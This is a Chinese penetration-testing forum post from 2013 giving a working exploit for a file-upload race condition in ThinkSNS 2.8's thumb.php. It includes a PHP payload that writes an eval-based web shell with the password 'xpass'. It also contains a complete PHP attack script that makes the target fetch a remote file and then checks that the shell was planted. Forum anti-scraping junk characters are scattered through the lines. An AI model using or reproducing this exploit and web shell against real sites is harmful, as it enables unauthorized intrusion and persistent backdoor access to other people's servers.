中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本
; L% k3 A1 B* f存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
- R2 O3 K1 ]6 q6 W) p漏洞文件
0 }1 t( {$ J% O. C( k存在漏洞的文件为:thumb.php" Z9 o& b- F6 A" n1 |% A
作者:韦鲲鹏
) x- U& D( j: K: q7 _1、        准备如下PHP文件并上传到服务器(自己的)。
) x% ]* Z- S$ O7 ^6 R文件内容如下:: J5 ]% P. ^% g. o8 j/ N
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
+ b* R- o. Q8 x/ f, U! s, X2、        计算出临时的文件名:
: G( K( t5 }$ U8 }' P) f; i5 f这里我们可以看文件的99行(刚刚是不是没注意呀!)。& `% D1 j) q0 A# L4 H

8 D$ l4 W' W) M3、        上传临时文件。# `/ Q  ?& e) X7 d) b+ O
4、        访问临时文件。
  {; B& L4 g" ?& M但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。). j( \- K. g2 I
Exploit文件内容如下:(这个我就不详细解释了)0 R/ i3 T/ a0 J  f5 N* F
<?php
  V+ ~' ]& D0 ~( X. N3 herror_reporting(0);
: U( w$ n7 F* X1 U9 fset_time_limit(0);" R) Y4 g+ U: F8 u& \+ N) u
ini_set(“default_socket_timeout”, 5);
% I/ M5 Q( R; H" d$ H) F. `function http_send($host, $port, $headers) {% [' f8 j; |. e# Y+ b2 s
$fp = fsockopen($host, $port);
. V, u% e5 Q! l8 x7 {if (!$fp) die(‘Connection -> fail’);' {" d! |( G1 v, e
fputs($fp, $headers);: h9 Q$ G5 E: o6 @
return $fp;! s! k% M4 v9 v' ^, P9 c/ S
}
4 q, F- x: m5 r+ b* l7 Zfunction http_recv($fp) {
0 F2 Z$ d! w! h5 ^$ret=”";7 U, u2 S1 C& Z
while (!feof($fp))
" m6 l! S) v# O/ c' Y7 A$ret.= fgets($fp, 1024);4 U* r; |  n+ [  n6 e' H
fclose($fp);
4 h" x# h6 \4 W/ \0 t- greturn $ret;$ T  H7 @& h) p: X
}0 ?4 Y7 p3 L( T+ K; N
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
% e9 N/ V' {" l7 v  l+ Qprint “# Discovered by 韦鲲鹏 #\n\n”;* m8 ~3 ~3 H$ X% j2 K5 V! ^
if ($argc < 4) {
" x( S" x( O# t7 Nprint “Usage:   php <host> <path> <romote_url>\n”;3 }/ ^8 x" w0 x8 r  s% l0 b& B, N
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
, L3 a! o" _; N8 q0 Y7 W" |die();/ E$ M9 v4 R' e
}
5 {. r( T0 w' X+ y3 U$host = $argv[1];
7 T4 K" }3 N0 V$path = $argv[2];
' r6 I" \1 T, L2 |( T+ e$url = $argv[3];! N6 F+ f- O% v
$i=0;
2 j6 _% l! J$ y2 r" D//上传数据包5 f( @5 C! f  B2 A% Q* h
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
- @, h0 ?+ c  n; W$headers_up .= “Host: “.$host.”\r\n”;! `0 R+ ?! h* A( G' q8 g4 ~( x" K5 z
$headers_up .= “Connection: close\r\n\r\n”;, y% S0 H* z# l2 Y) C; `
echo $headers_up;
7 J2 V0 {  q0 Z//临时文件访问数据包$ F+ l9 z+ {# R% Q* G$ l- h: U
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;2 s( v1 \% H4 Y
$headers .= “Host: “.$host.”\r\n”;- e8 e! q! v; }" f$ [% p* V) ]
$headers .= “Connection: close\r\n\r\n”;( m' {7 P8 T# w* M0 O
echo $headers;& a  e6 g5 c& h" F3 {$ e+ ~! O
while(++$i<10) {: w4 @+ ~/ N" N
fclose(http_send($host, 80, $headers));, @# n  D" u0 o( x
}
) }" Y, Q* y4 s  j3 ^4 t0 N: R, E( `fclose(http_send($host, 80, $headers_up));2 W. \1 r- w% y- U( A
while(++$i<50) {; q- a1 e' N# @) X9 a- |/ Y
fclose(http_send($host, 80, $headers));1 w! E' E1 Q$ E2 @0 Z. {
}5 J" A2 a8 T: G/ U- l3 Q8 Z
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
! {7 ?( y( Z( ?1 @9 E3 `& _% U6 @7 }$headers .= “Host: “.$host.”\r\n”;
/ ?1 e8 c. B0 g& q# A) h- B" Q$headers .= “Connection: close\r\n\r\n”;
8 ^% s; _8 `, c1 \) \& m3 Q$res=http_recv(http_send($host, 80, $headers));
* n$ W/ A) }+ y; ]+ u/ Bif(preg_match(‘/200 OK/’,$res)) {
0 d6 y! U' v8 H. A* V( Q8 Yprint “Success!\n\n”;6 U2 I4 c5 W; B7 k* r/ O
} else {" v% b, n/ Y( a7 }7 V4 A
print “Fail!\n\n”;
9 `- |2 a1 C7 H; `}
8 R% _, h2 F0 w/ }?>
- e9 R2 d. d5 E0 J" n! n




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2